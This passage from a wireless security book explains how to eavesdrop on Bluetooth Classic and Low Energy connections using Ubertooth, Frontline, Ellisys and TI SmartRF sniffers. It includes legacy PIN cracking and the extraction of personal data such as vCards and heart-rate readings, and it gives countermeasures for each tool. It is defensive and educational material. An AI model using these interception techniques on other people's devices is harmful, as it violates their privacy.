With	the	partial	BD_ADDR	information,	we	can	user	ubertooth-follow	to	eavesdrop
on	a	specified	device.	Like	ubertooth-scan,	ubertooth-follow	requires	both	an	available
Ubertooth	device	and	a	standard	Bluetooth	device.	In	order	to	capture	traffic	and	channel
hop	in	synchronization	with	the	target	device,	ubertooth-follow	uses	the	Bluetooth
interface	to	query	the	target	device	clock	frequently,	rapidly	adjusting	the	Ubertooth
device	channel	to	match	that	of	the	piconet.



In	the	following	example,	we	eavesdrop	on	the	“Joshua	Wright’s	Mouse”	device	by
specifying	the	UAP	(0x43)	and	LAP	(0xa36fa0)	reported	by	ubertooth-scan.	Some	of	the
output	from	ubertooth-follow	has	been	omitted	for	clarity.

This	output	is	fairly	extensive,	but	most	of	the	interesting	content	follows	the	packet
Type	declaration:

•		Type:	NULL	This	output	indicates	that	ubertooth-follow	captured	a
Bluetooth	NULL	packet.	The	NULL	packet	does	not	contain	a	payload;	it	usually
follows	a	packet	to	indicate	positive	acknowledgement.

•		Type:	DM1	The	DM1	packet	type	indicates	that	the	packet	carries	data,	with
a	medium	data	rate,	occupying	one	slot	(or	one	hop).	Because	this	packet	contains
data,	it	is	further	decoded	by	ubertooth-follow:

•		LD_ADDR	The	Logical	Device	Address	is	allocated	to	a	Bluetooth	device
when	it	joins	the	piconet.	An	LD_ADDR	of	1	indicates	this	device	is	likely	the
master	of	the	piconet	(an	LD_ADDR	of	0	is	used	for	broadcast	messages).

•		LLID	The	Logical	Link	Identifier	is	the	first	field	in	the	Logical	Link
Control	and	Adaptation	Protocol	(L2CAP)	header	used	by	many	Bluetooth	data
frames.	An	LLID	value	of	2	indicates	this	frame	is	the	beginning	of	a	new
message,	whereas	an	LLID	of	1	indicates	a	continuation	of	a	previous	message.
An	LLID	of	3	is	used	for	Link	Management	Protocol	(LMP)	messages.



•		Flow	The	Flow	bit	is	used	for	flow	control,	to	tell	a	transmitter	to	stop
sending	messages	when	necessary	for	queue	management.

•		Payload	length	The	length	of	the	payload	data	in	bytes.

•		Data	The	payload	data	itself.	Ubertooth-follow	does	not	attempt	to	decode
the	payload	data	content,	leaving	that	job	to	the	analyst.

•		Type:	POLL	POLL	packets	are	sent	by	the	master	of	the	piconet	to	solicit	a
response	from	slave	devices.

Using	Ubertooth	and	a	standard	Linux	Bluetooth	interface,	we	can	capture	Bluetooth
Classic	packets,	decoding	some	of	the	fields.	This	interface	is	limited,	however,	and	lacks
a	sophisticated	decoding	interface	to	help	us	examine	the	data.	At	the	time	of	this	writing,
the	Project	Ubertooth	team	is	hard	at	work	developing	a	standard	format	for	libpcap-based
Bluetooth	packet	captures,	which	will	eventually	be	accessible	to	packet	decoders	such	as
Wireshark.	Check	the	Project	Ubertooth	website	at	http://ubertooth.sourceforge.net	for	the
latest	news	on	this	development	effort.

Ubertooth	Classic	Sniffer	Countermeasures
As	an	inexpensive	device	for	Bluetooth	analysis,	the	Ubertooth	is	a	tremendously	valuable
tool	for	security	analysts	and	attackers	alike.	However,	it	is	also	limited	in	its	capabilities
to	capture	Bluetooth	Classic	network	activity.

The	Ubertooth	can	capture	only	Bluetooth	BR	network	activity;	it’s	unable	to	capture
the	later	Bluetooth	EDR	specification	enhancements.	Organizations	should	migrate	BR
legacy	devices	to	hardware	supporting	EDR	to	mitigate	Ubertooth	packet	capture
eavesdropping	threats.	In	addition,	organizations	should	leverage	strong	encryption
protocols	to	protect	the	confidentiality	and	integrity	of	Bluetooth	data.

The	Problem	of	EDR
With	the	Bluetooth	2.0	specification,	the	Bluetooth	SIG	added	support	for	EDR	traffic.
Instead	of	using	the	traditional	data	rate	of	1	Mbps	with	Gaussian	frequency	shift
keying	(GFSK)	modulation,	EDR	devices	can	achieve	a	data	rate	of	2	Mbps	or	3	Mbps
using	differentially	encoded	quadrature	phase	shift	keying	(DQPSK)	or	differential
phase	shift	keying	(DPSK),	respectively.	This	is	a	big	performance	benefit	for
bandwidth-greedy	Bluetooth	applications	(such	as	high-quality	stereo	audio
headphones),	but	it’s	also	a	significant	challenge	for	the	Ubertooth	project.

With	1	Mbps	Bluetooth	connections,	the	baseband	packet	sent	over	the	air	starts
with	the	access	code	(where	we	derive	the	LAP),	the	header	(where	the	UAP	is
recovered),	and	the	packet	payload.	These	fields	are	all	encoded	using	GFSK
modulation,	as	shown	here.

http://ubertooth.sourceforge.net


For	EDR	traffic,	the	access	code	and	header	information	is	still	transmitted	at	1
Mbps	GFSK.	After	the	beginning	of	the	packet	is	transmitted,	the	transmitter	switches
to	DQPSK/DPSK	modulation	after	a	guard	and	synchronization	period	needed	to
accommodate	the	changing	modulation	mechanism	and	data	rate,	as	shown	next.	This
preservation	of	GFSK	modulation	at	the	beginning	of	the	frame	allows	legacy
Bluetooth	devices	to	detect	the	EDR	transmitter	and	avoid	transmit	collisions.

The	Ubertooth	One	hardware	uses	a	Texas	Instruments	Chipcon	CC2400	chip	as	the
radio	transceiver	interface	and	is	limited	to	the	demodulation	capabilities	of	this	chip.
The	CC2400	can	accommodate	FSK	and	GFSK	demodulation,	but	cannot	demodulate
DQPSK/DPSK	traffic.	From	a	practical	perspective,	the	ubertooth-rx	and	ubertooth-
scan	tools	can	identify	legacy	Bluetooth	or	Bluetooth	EDR	activity	because	the	header
information	is	transmitted	using	GFSK.	However,	ubertooth-follow	cannot	capture
EDR	payload	data	because	the	CC2400	does	not	support	the	DQPSK/DPSK	modulation
mechanism.	Currently,	only	commercial	tools	include	the	ability	to	demodulate
Bluetooth	EDR	traffic,	which	we	examine	next.

Commercial	Bluetooth	Classic	Sniffing
A	small	number	of	commercial	Bluetooth	Classic	sniffers	are	available,	generally	at
significant	cost	and	intended	for	use	by	Bluetooth	developers	who	need	to	troubleshoot	the
implementation	of	Bluetooth	products.	These	commercial	products	are	designed	to	meet
the	needs	of	development	engineers	and	are	not	specifically	attack	tools,	although	you	can
use	some	common	functionality	to	eavesdrop	on	and	attack	Bluetooth	networks.

Frontline	BPA	600	Sniffer



Frontline	Test	Equipment	(Frontline)	manufactures	PC-based	protocol	analyzers	for	a
variety	of	protocols.	Targeting	the	system	integrator,	developer,	and	the	systems
engineering	verticals,	Frontline	sells	hardware	and	associated	software	for	sniffing	and
analyzing	SCADA,	RS-232,	Ethernet,	ZigBee,	and	Bluetooth	technology.	The	Frontline
Bluetooth	sniffer	product,	known	as	the	Bluetooth	ComProbe	Protocol	Analyzer	System
(CPAS),	allows	a	developer	to	observe	and	record	activity	on	a	piconet	with	the	BPA	600
Bluetooth	ComProbe	interface	and	the	ComProbe	software.	Not	limited	to	capturing
traffic	at	the	HCI	layer,	the	Bluetooth	CPAS	suite	allows	the	user	to	access	Link
Management	Protocol	(LMP)	data	and	partial	baseband	(layer	two)	header	data	as	well
(fields	such	as	the	Header	Error	Correction,	or	HEC	field,	are	not	captured	with	the	BPA
600).

The	Bluetooth	CPAS	product	is	not	an	inexpensive	tool.	(Frontline	asked	the	authors
not	to	disclose	the	pricing	information	of	the	product;	however,	it	is	typically	out	of	reach
for	most	hobbyists—more	information	is	available	on	the	Frontline	company	website	at
http://www.fte.com.)	Still,	the	tool	is	useful	for	analyzing	and	troubleshooting	Bluetooth
networks.

With	the	purchase	of	Bluetooth	CPAS,	the	user	will	have	access	to	the	software	suite
of	tools	as	well	as	to	the	BPA	600	ComProbe	hardware,	shown	next.	With	this	custom
hardware	and	the	accompanying	ComProbe	software,	we	can	capture	Bluetooth	traffic	for
its	intended	analysis	purposes,	or	as	an	attacker	who	wishes	to	take	advantage	of
Bluetooth	deployment	weaknesses.	Because	many	Bluetooth	exchanges	are	unencrypted,
simply	capturing	the	data	may	reveal	sensitive	information	that	is	useful	to	an	attacker.

	

The	Frontline	BPA	600	ComProbe	device	supports	Bluetooth	BR,	Bluetooth	EDR,	and

http://www.fte.com


Bluetooth	Low	Energy	networks.	We	examine	Bluetooth	Low	Energy	sniffing	later	in	this
chapter.

After	starting	the	Bluetooth	CPAS	tool	and	initiating	a	packet	capture,	you	are
presented	with	the	Datasource	selection	tool.	This	tool	allows	you	to	view	the
configuration	details	of	the	BPA	600	ComProbe	device,	specify	the	sniffer	mode	(Low
Energy,	Classic,	Dual	Mode,	and	Classic	Only	Multiple	Connections),	and	specify	the
BD_ADDR	information	of	the	devices	to	be	monitored,	as	shown	here.

The	Bluetooth	CPAS	air	sniffer	component	requires	assistance	from	both	the	end-user
and	the	target	Bluetooth	network	in	order	to	capture	data.	To	initiate	a	packet	capture,	the
end-user	must	specify	the	BD_ADDRs	for	the	piconet	devices	(you	do	not	need	to
designate	slave	or	master	devices	with	Frontline’s	“roleless”	connection	acquisition
support	system).	If	the	devices	are	discoverable,	the	ComProbe	can	identify	them	by
performing	an	inquiry	scan,	available	on	the	Discover	Devices	tab.	If	the	devices	were
previously	discovered	through	CPAS,	the	user	can	select	BD_ADDR	information	from	the
drop-down	lists.	Alternatively,	if	the	device	addresses	are	known	through	some	other



discovery	means	(such	as	the	discovery	techniques	described	in	Chapter	7),	the	user	can
specify	them	manually	with	a	leading	0x	to	indicate	that	a	hexadecimal	value	follows.

Unfortunately,	the	clock	synchronization	techniques	used	by	the	Bluetooth	CPAS
solution	require	that	the	BPA	600	ComProbe	see	the	initial	page	request	frame	from	the
master	to	the	slave	device,	effectively	limiting	the	ability	to	capture	traffic	to	newly
formed	piconets.	The	BPA	600	ComProbe	is	incapable	of	sniffing	traffic	from	a	piconet
that	is	already	in	progress.	From	an	attack	perspective,	this	shortcoming	is	unfortunate,	but
it	fits	the	BPA	600’s	operational	intention:	an	engineer	troubleshooting	a	Bluetooth
product	will	likely	start	the	capture	before	the	piconet	is	formed,	whereas	an	attacker	may
want	to	collect	data	from	a	network	connection	that	is	already	in	progress.	Fortunately,
alternative	techniques	also	exist	for	capturing	Bluetooth	traffic,	even	for	networks	that	are
already	established,	as	you’ll	see	later	in	this	chapter.

Once	the	ComProbe	is	configured	for	the	desired	synchronization	technique	and	has
BD_ADDR	information	for	the	slave	and	master	devices,	the	user	can	start	a	new	packet
capture	by	clicking	the	Play	button	on	the	toolbar	with	the	option	of	buffering	the	captured
packets	to	memory	(optionally	to	be	saved	to	a	file	after	stopping	the	capture)	or	buffering
to	a	file.	After	stopping	the	packet	capture,	the	ComProbe	Software	will	parse	and	decode
the	packet	capture	contents,	allowing	the	user	to	select	individual	frames	or	to	filter	by
protocol,	as	shown	here.



Similar	to	a	Wireshark	view,	the	ComProbe	file	viewer	allows	the	user	to	select	a
frame	to	inspect	the	decoded	content	in	a	navigation	tree.	The	contents	of	the	selected
packet	are	optionally	shown	in	ASCII,	hexadecimal	(the	“radix”	pane),	and	binary	format.
Clicking	any	of	the	protocol	or	profile	tabs	above	the	packet	list	will	automatically	apply	a
filter,	excluding	all	frames	from	the	list	that	do	not	contain	the	selected	protocol	layer.

If	the	packet	capture	contains	profile	traffic	for	one	of	several	supported	Bluetooth
profiles	(including	the	Object	Exchange	Profile,	Headset	Audio	Profile,	Sync	Profile,
Printing	Profile,	Imaging	Profile,	and	so	on),	the	ComProbe	Software	can	automatically
parse	and	extract	the	data,	reassembling	it	into	the	original	file	format.	This	capability	is
useful	for	an	attacker	because	nearly	all	data	in	the	packet	capture	can	be	extracted	and
reproduced	in	its	original	format.	Furthermore,	the	ComProbe	Software	can	do	this
without	specifying	a	dataset	or	profile.	Click	View	|	Extract	Data/Audio…	to	open	the



Data/Audio	Extraction	Settings	dialog.	You	may	optionally	select	the	desired	protocol	you
want	to	extract	data	for	(or	select	all	supported	protocols)	with	an	output	directory	and
filename	prefix,	as	shown	next.

Ensure	the	output	directory	exists	before	clicking	OK.	The	ComProbe	Software	processes
all	the	frames	for	the	selected	protocols	for	data	to	reassemble,	saving	the	results	with	the
original	filename	(if	known)	or	a	sequential	filename	based	on	the	specified	filename
prefix.

	

To	demonstrate	this	feature	of	the	ComProbe	Software,	a	saved	packet	capture	of	a
business	card	exchange	has	been	posted	on	the	book’s	companion	website
(http://www.hackingexposedwireless.com)	with	the	filename	72105_BCard_exchange.cfa.
Using	the	ComProbe	software	data	extraction	routine	will	extract	the	transferred	business

card	from	the	packet	capture	contents,	saving	the	file	as	Bean,_David.vcf.	

Frontline	Bluetooth	ComProbe	Protocol	Analysis	System
Sniffing	Countermeasures
The	commercial	Bluetooth	CPAS	tool	relies	on	the	attacker	knowing	the	master	device’s
BD_ADDR	to	capture	traffic	in	the	piconet.	The	Bluetooth	CPAS	product	cannot	identify
a	device	in	non-discoverable	mode,	so	the	attacker	must	apply	another	mechanism	to
identify	the	piconet	BD_ADDR	information.

As	you’ve	seen,	an	attacker	can	still	recognize	non-discoverable	Bluetooth	devices
through	Ubertooth	and	other	analysis	techniques.	Although	keeping	a	device	in	non-
discoverable	mode	makes	it	more	difficult	to	capture	the	Bluetooth	traffic,	it	is	not	a
comprehensive	defense.	Instead,	you	should	assume	that	an	attacker	can	capture	the	traffic
from	the	air	interface	and	leverage	strong	encryption	and	authentication	systems	to	protect
the	confidentiality	of	the	traffic	instead.

http://www.hackingexposedwireless.com


Ellisys	Bluetooth	Explorer	400

Ellisys	Corporation’s	Bluetooth	Explorer	400	(BEX400,	shown	here)	is	a	unique
Bluetooth	traffic	capture	system.

Where	the	Ubertooth	and	Frontline	BPA	600	ComProbe	tools	attempt	to	synchronize	a
narrowband	radio	interface	frequently	to	capture	the	Bluetooth	piconet’s	activity	while
channel	hopping,	the	BEX400	takes	a	different	approach.	The	Ellisys	BEX400	uses	a
wideband	receiver,	capable	of	eavesdropping	on	the	entire	Bluetooth	79-MHz	spectrum
simultaneously,	as	shown	in	Figure	9-1.



Figure	9-1	Ellisys	wideband	receiver	Bluetooth	capture

Through	this	radio	access	method,	the	BEX400	makes	capturing	and	evaluating
Bluetooth	activity	easy.	With	the	wideband	receiver	capabilities	of	the	BEX400,	you	can
capture	all	Bluetooth	activity	simultaneously	without	needing	to	specify	BD_ADDR
information.	Furthermore,	the	BEX400	can	capture	Bluetooth	traffic	for	a	piconet	already
established	or	prior	to	establishment.

	

Like	the	Frontline	BPA	600	ComProbe	device,	the	Ellisys	BEX400	supports	Bluetooth
BR,	Bluetooth	EDR,	and	Bluetooth	Low	Energy	networks.

After	installing	the	Ellisys	Bluetooth	Analyzer	software	and	connecting	the	BEX400
over	USB,	simply	launch	the	Bluetooth	Analyzer	software	and	click	Record	to	initiate	a



packet	capture,	as	shown	in	Figure	9-2.

Figure	9-2	Ellisys	Bluetooth	Analyzer

The	BEX400	will	capture	and	process	traffic,	returning	Bluetooth	activity	to	the
analyzer	software	over	USB,	as	shown	in	Figure	9-3.



Figure	9-3	Bluetooth	Explorer	capture	decoding	results

	

The	Ellisys	Bluetooth	Explorer	software	is	available	as	a	free	download	from	the	Ellisys
website	at	http://www.ellisys.com/better_analysis/bex400a_latest.htm.	The	Bluetooth
Explorer	software	also	includes	sample	packet	captures	that	you	can	use	to	explore	the
features	and	capabilities	of	the	product.

In	this	example,	we	have	captured	activity	between	a	slave	and	master	device	using	the
Bluetooth	Network	Exchange	Protocol	(BNEP)	profile	for	tethered	network	connectivity

http://www.ellisys.com/better_analysis/bex400a_latest.htm


on	a	mobile	phone.	Bluetooth	Explorer	gives	us	the	opportunity	to	see	not	only	low-level
Bluetooth	activity,	but	also	high-level	TCP	protocol	data.	Furthermore,	we	can	export	this
high-level	BNEP	traffic	to	a	PcapNg	packet	capture	file	by	clicking	File	|	Export.	Select
Internet	Protocol	Export	in	the	Export	dialog	and	then	save	the	packet	capture	file,	as
shown	next.

The	Ellisys	Bluetooth	Explorer	software	will	extract	the	BNEP	or	Dial-Up	Networking
(DUN)	profile	traffic,	converting	the	data	to	an	Ethernet	format	that	you	can	view	with
Wireshark	or	other	PcapNg-compatible	tools,	as	shown	in	Figure	9-4.	From	Wireshark,
you	can	convert	the	PcapNg	packet	capture	to	the	more	ubiquitous	libpcap	format	by
clicking	File	|	Export	Specified	Packets.



Figure	9-4	Wireshark	display	of	Ellisys	Bluetooth	Explorer	export

The	Ellisys	BEX400	is	a	powerful	Bluetooth	sniffer	tool	with	many	features.	With
these	features	come	great	cost,	however,	so	it	is	likely	an	option	only	for	organizations
creating	Bluetooth	products	and	outside	the	reach	of	hobbyists	and	attackers.	For	more
information	on	the	Ellisys	BEX400	product,	visit	the	Ellisys	website	at
http://www.ellisys.com/products/bex400.

PIN	Cracking	with	the	Bluetooth	Explorer	400
In	addition	to	being	a	powerful	Bluetooth	packet	sniffing	tool,	the	Bluetooth	Explorer
400	is	designed	to	automate	PIN	cracking	of	legacy	pairing	(e.g.,	PIN	pairing	prior	to

http://www.ellisys.com/products/bex400


the	adoption	of	Secure	Simple	Pairing).	The	BEX400	documentation	states	this	feature
very	matter	of	factly:	“For	PIN	code	pairings,	the	analyzer	will	decipher	the	PIN	code,
calculate	the	link	key,	and	decrypt	all	related	packets,	all	without	user	intervention.”

In	practice,	the	user	simply	starts	the	BEX400	capture	and	completes	the	legacy
pairing	exchange	between	two	devices.	All	encrypted	packets	observed	by	the	BEX400
following	the	pairing	exchange	are	automatically	decrypted	and	displayed	in	an
unencrypted	format	to	the	end-user.

	Ellisys	BEX400	Sniffing	Countermeasures
With	the	wideband	receiver	capabilities	of	the	Ellisys	BEX400,	there	is	little	that	can	be
done	to	evade	attempts	to	capture	Bluetooth	traffic.	An	attacker	with	a	BEX400	can
simply	start	a	packet	capture	to	capture	and	decode	all	Bluetooth	activity	in	the	area.	Like
the	defense	strategies	for	the	Frontline	Bluetooth	CPAS	system,	administrators	should
ensure	that	all	traffic	is	encrypted	to	protect	system	confidentiality.	Unfortunately,	many
Bluetooth	implementations	do	not	meet	this	basic	guideline,	leading	to	significant	system
exposure	as	you’ll	see	later	in	this	chapter.

So	far	you’ve	seen	several	techniques	for	eavesdropping	on	Bluetooth	Classic
networks,	with	commercial	options	for	simplified	access	and	analysis	tools,	with	the
option	to	capture	Bluetooth	BR	or	EDR	activity.	Next,	we	look	at	opportunities	to	capture
traffic	from	Bluetooth	Low	Energy	networks.

Bluetooth	Low	Energy	Eavesdropping
From	a	complexity	perspective,	Bluetooth	Low	Energy	sniffing	is	between	Wi-Fi	sniffing
(easy)	and	Bluetooth	Classic	sniffing	(difficult).	Like	Bluetooth	Classic	networks,
Bluetooth	Low	Energy	uses	FHSS,	where	the	transmitter	and	recipient	rapidly	channel
hop	along	a	shared	set	of	channels.	In	order	to	capture	this	traffic	to	eavesdrop	on
Bluetooth	Low	Energy	networks,	the	attacker	also	needs	to	identify	this	channel-hopping
pattern,	as	well	as	the	hop	interval	that	determines	how	long	the	transmitter	stays	on	a
single	channel.

Unlike	Bluetooth	Classic	networks,	the	frequency-hopping	pattern	used	in	Bluetooth
Low	Energy	networks	is	far	less	complex,	with	fewer	channels	to	monitor.	Bluetooth	Low
Energy	networks	use	40	channels	in	the	2.4-GHz	band,	reserving	3	channels	for	network
advertisement	purposes,	with	the	remaining	37	channels	used	for	data	transmission,	as
shown	in	Table	9-1.	Also,	unlike	Bluetooth	Classic,	Bluetooth	Low	Energy	uses	a	much
simpler	frequency-hopping	pattern	based	on	a	starting	advertising	channel	index,	a	hop
interval,	and	a	hop	increment	value.



Table	9-1	Bluetooth	Low	Energy	Channels

When	a	Bluetooth	Low	Energy	network	is	established,	the	master	device	sends	a
connection	request	packet	to	the	slave	device	on	one	of	the	advertising	channels	that
discloses	several	important	network	characteristics:

•		Access	address	A	four-byte	value	randomly	selected	by	the	initiator	that
uniquely	identifies	the	connection

•		Connection	event	interval	Also	known	as	the	hop	interval,	the	amount	of
time	the	transmitter	and	the	receiver	stay	on	a	given	channel	before	channel
hopping

•		Hop	increment	The	distance	between	two	channels,	used	to	identify	the	next
channel	in	the	frequency-hopping	pattern

•		CRC	initial	seed	A	three-byte	value	randomly	selected	by	the	initiator,	used
for	initializing	the	packet	CRC	checksum	calculation	function

An	example	of	this	connection	request	packet	observed	through	an	Ellisys	BEX400	is
shown	in	Figure	9-5.	With	this	information,	the	master	and	slave	devices	can	transmit	and
receive	packets,	differentiating	their	connection	from	other	Bluetooth	Low	Energy
connections	through	the	use	of	the	access	address	(included	near	the	beginning	of	every
Bluetooth	Low	Energy	packet).	More	importantly	from	an	eavesdropping	perspective,	the
hop	interval	and	the	hop	increment	define	how	the	devices	will	channel	hop	through	the
37	data	channels.



Figure	9-5	Bluetooth	Low	Energy	Connection	Request	packet	fields

Bluetooth	Low	Energy	uses	a	simple	channel	selection	mechanism	following	the
connection	request	exchange.	Starting	on	channel	0,	the	hop	increment	value	is	added	to
the	current	channel	index	number,	modulo	37.	For	example,	in	Python,	we	can	quickly
calculate	a	series	of	channel	numbers	that	approximate	the	Bluetooth	Low	Energy
channel-hopping	sequence,	as	shown	here:

Each	time	the	transmitter	and	receiver	channel	hop,	they	remain	on	the	new	channel
for	the	hop	interval	duration	before	hopping	to	the	next	channel.	As	a	result,	an
eavesdropper	who	can	determine	the	access	address,	hop	interval,	hop	increment,	and	the
CRC	initialization	value	can	eavesdrop	on	a	Bluetooth	Low	Energy	network	and	validate
the	contents	of	received	packets.

	

Some	attributes	of	the	Bluetooth	specification	complicate	the	channel-hopping	procedure.
For	example,	not	all	devices	utilize	all	37	data	channels,	instead	using	a	“channel	map”	of



channels	that	may	represent	a	subset	of	the	total	channel	availability.	Furthermore,	the
slave	device	need	not	be	party	to	each	channel	hop	event,	conserving	battery	resources	by
implementing	the	“slave	latency”	feature	of	the	specification.	For	more	information,	see
the	Bluetooth	Specification	Core	4.1,	Vol.	6,	Part	B,	sections	3.3.2	and	4.5.1
(https://www.bluetooth.org/en-us/specification/adopted-specifications).

Bluetooth	Low	Energy	Connection	Following
A	Bluetooth	Low	Energy	device	capable	of	baseband	sniffing	can	monitor	one	of	the	three
advertising	channels	to	observe	a	connection	request	packet	that	reveals	the	access
address,	hop	interval,	hop	increment,	and	the	CRC	initialization	value.	This	requires	that
the	sniffer	be	operating	prior	to	the	Bluetooth	Low	Energy	device’s	connection
establishment.

For	the	Ellisys	BEX400	sniffer,	a	Bluetooth	Low	Energy	connection	reveals	the
connection	establishment,	which	will	be	used	to	aid	in	decoding	the	capture	(but	is	not
required,	as	you’ll	see	shortly).	The	Frontline	BPA	600	product	simply	requires	that	the
user	select	LE	Only	in	the	Datasource	window	as	the	capture	type	to	watch	for	and	to
capture	connection	request	packets.	For	Ubertooth,	we’ll	turn	to	a	different	program	also
included	with	the	Ubertooth	tools	for	Bluetooth	Low	Energy	connection	following.

Ubertooth

Because	Bluetooth	Low	Energy	uses	GFSK	modulation,	like	Bluetooth	Classic,	we
can	use	the	same	Ubertooth	hardware	to	capture	both	Bluetooth	Classic	and	Bluetooth
Low	Energy	packets.	To	capture	and	follow	Bluetooth	Low	Energy	connection	requests,
we	turn	to	the	ubertooth-btle	tool.

Developed	by	Mike	Ryan,	the	ubertooth-btle	tool	uses	an	Ubertooth	to	eavesdrop	on
one	of	the	three	Bluetooth	Low	Energy	advertising	channels	to	observe	connection	request
packets	(by	default,	ubertooth-btle	listens	on	advertising	channel	37).	When	a	connection
request	is	observed,	ubertooth-btle	will	identify	the	required	parameters	and	start	channel
hopping	with	the	Bluetooth	Low	Energy	devices,	as	shown	next:

https://www.bluetooth.org/en-us/specification/adopted-specifications


	



Much	of	the	output	from	the	ubertooth-btle	command	has	been	removed	for	space
considerations.

In	this	example,	ubertooth-btle	saves	the	captured	packets	to	a	pcap	file	(-c
btle.pcap)	while	following	connection	requests	(-f).	Ubertooth-btle	identifies	a	packet	of
type	CONNECT_REQ,	revealing	several	parameters,	including	the	hop	interval	(9).
Immediately	after	this	packet	is	observed,	ubertooth-btle	starts	channel	hopping	along
with	the	Bluetooth	connection	(note	that	the	second	packet	was	observed	on	channel	9,
leveraging	the	hop	interval	value	following	the	starting	channel	of	0,	followed	by	channels
18	and	27).

Ubertooth-btle	decodes	some	data	from	each	reported	packet,	including	the	contents	of
the	packet	payload	in	the	L2CAP	start	frame.	The	bytes	themselves	aren’t	terribly
meaningful,	however,	without	some	assistance	decoding	the	contents.	Fortunately,
Wireshark	version	1.12	and	later	includes	support	for	decoding	Bluetooth	Low	Energy
packets.

The	connection-following	packet	capture	technique	was	used	to	capture	the	activity
between	an	Android	Nexus	4	and	the	Polar	FT-7	fitness	heart	rate	monitor,	shown	in
Figure	9-6	(contributed	by	Mike	Ryan).	We	open	the	packet	capture	in	Wireshark	and
apply	a	display	filter	of	btatt.handle	==	0x0011,	which	reveals	20	frames	corresponding
to	heart-rate	read	events	between	the	Android	device	and	the	Polar	FT-7,	as	shown	in
Figure	9-7.	Using	the	Bluetooth	Heart	Rate	Measurement	characteristics	profile
documentation
(https://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?
u=org.bluetooth.characteristic.heart_rate_measurement.xml),	we	can	decode	the	values
“16:54:cb:02:dc:02,”	as	shown	in	Table	9-2,	revealing	heart-rate	measurement
information.	Furthermore,	this	information	can	be	collected	and	decoded	over	time	using
simple	command-line	tools,	as	shown	next:

https://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.heart_rate_measurement.xml


Figure	9-6	The	Polar	FT7	fitness	heart	rate	monitor



Figure	9-7	Wireshark	interpretation	of	Polar	FT-7	heart	rate	reporting

Table	9-2	Interpretation	of	Polar	FT-7	Heart	Rate	Data



In	this	example,	tshark	reads	from	an	ubertooth-btle	packet	capture,	using	a	display
filter	of	btatt.handle	==	0x0011	to	limit	the	packet	display	to	data	frames	with	the
heart-rate	reporting	handle.	By	default,	tshark	does	not	print	the	payload	data	for	the	heart-
rate	information	in	the	tshark	output,	so	we	add	the	specific	field	with	the	argument
following	the	-z	output	modifier.	This	output	is	delivered	to	the	Unix	awk	utility,
retrieving	the	heart-rate	data	byte	and	converting	from	hexadecimal	to	decimal	format.

The	Ubertooth	hardware	with	the	ubertooth-btle	software	makes	eavesdropping	on
BLE	connections	possible.	Other	low-cost	options	are	also	available	for	this	task,	targeting
Windows	users	who	want	a	simple	interface	for	Bluetooth	Low	Energy	packet	capture	and
analysis,	including	the	Texas	Instruments	SmartRF	Packet	Sniffer	tool.

Texas	Instruments	SmartRF

Texas	Instruments	is	a	well-known	chip	manufacturer	producing	many	commercial
products,	including	Bluetooth	Low	Energy	sniffers.	As	a	mechanism	to	assist	developers
who	are	creating	products	with	Texas	Instruments	chips,	Texas	Instruments	also	offers
several	prototyping	and	troubleshooting	tools	based	around	the	SmartRF	platform.

SmartRF	is	a	platform	for	developers	to	use	when	designing,	building,	and
troubleshooting	RF-integrated	circuits	from	Texas	Instruments.	Consisting	of	hardware
and	software	solutions,	SmartRF	also	accommodates	Bluetooth	Low	Energy
troubleshooting,	including	a	very	capable	Bluetooth	Low	Energy	packet	sniffer	and	USB
dongle	at	a	low	cost.

The	Texas	Instruments	CC2540	USB	Evaluation	Module	kit,	shown	next,	is	a	$50US
programmable	CC2540	System-on-Chip	(SoC)	with	a	2.4-GHz	radio	interface	and	an
integrated	8051	microprocessor.	The	CC2540	USB	device	is	programmable,	with	an
included	JTAG	interface	and	two	buttons	that	can	be	used	for	any	custom	application
needs,	but	it	comes	factory	default	with	firmware	capable	of	capturing	Bluetooth	Low
Energy	traffic.	Using	the	accompanying	Texas	Instruments	SmartRF	Packet	Sniffer
software,	we	can	use	the	CC2540	USB	to	channel	hop	along	with	the	network	following
an	observed	connection	request	packet.



	

The	CC2540	USB	Evaluation	Module	is	available	from	popular	online	electronics
resellers,	including	http://www.digikey.com,	http://www.mouser.com,
http://www.newark.com,	and	http://uk.farnell.com,	with	the	part	number	CC2540EMK-
USB.

First,	download	and	install	the	SmartRF	Packet	Sniffer	software	from	Texas
Instrument’s	website	at	http://www.ti.com/tool/packet-sniffer.	Complete	the	installation
wizard	to	install	the	software.	Next,	with	the	CC2540	USB	hardware	plugged	into	an
available	USB	port	on	your	Windows	system,	simply	start	the	Packet	Sniffer	software.
You’ll	be	presented	with	the	option	to	select	an	available	hardware	interface,	as	shown
next.	Click	the	Start	button	to	launch	the	packet	sniffer	functionality.

The	Packet	Sniffer	window	allows	you	to	configure	the	capture	process	with	several

http://www.digikey.com
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settings	at	the	bottom	of	the	screen,	including	the	advertising	channel	to	listen	on	for
connection	request	frames	(default	is	channel	37),	the	option	to	specify	the	initiator
address	of	a	specific	device	that	you	want	to	capture,	and	the	option	to	decrypt	observed
traffic	(we’ll	examine	Bluetooth	encryption	attacks	in	Chapter	10).	You	can	change	these
settings	or	simply	press	the	Start	button	to	initiate	a	packet	capture.

As	the	CC2540	USB	captures	advertising	packets,	the	Packet	Sniffer	display	will
scroll	showing	the	new	packet	activity	observed	on	the	selected	advertising	channel.	When
a	connection	request	packet	is	observed,	the	CC2540	USB	will	start	to	channel	hop	along
with	the	devices,	decoding	displayed	data,	as	shown	in	Figure	9-8.

Figure	9-8	SmartRF	Packet	Sniffer	data

	



A	sample	packet	capture	of	a	Fitbit	One	device	that	can	be	displayed	using	the	SmartRF
Packet	Sniffer	software	(without	the	CC2540	USB	hardware)	is	available	on	the	book’s

companion	website	at	http://www.hackingexposedwireless.com.	

The	SmartRF	Packet	Sniffer	software	includes	some	functionality	for	changing	the
contents	of	displayed	packets	(hiding	or	displaying	selected	fields)	and	a	basic	display
filter	function	to	focus	the	packet	display	on	specific	packet	types.	However,	the	SmartRF
Packet	Sniffer	utility	does	not	have	the	same	capabilities	and	convenience	as	Wireshark.
Fortunately,	you	can	convert	SmartRF	Bluetooth	Low	Energy	Packet	Sniffer	capture	files
to	the	libpcap	file	format.

The	utility	tibtle2pcap	is	a	small	Python	script	that	reads	the	SmartRF	Packet
Sniffer.psd	savefile,	converting	the	packet	capture	to	a	libpcap	format	that	is	compatible
with	Wireshark	and	the	btle	plug-in	discussed	earlier	in	this	chapter.	Download	tibtle2pcap
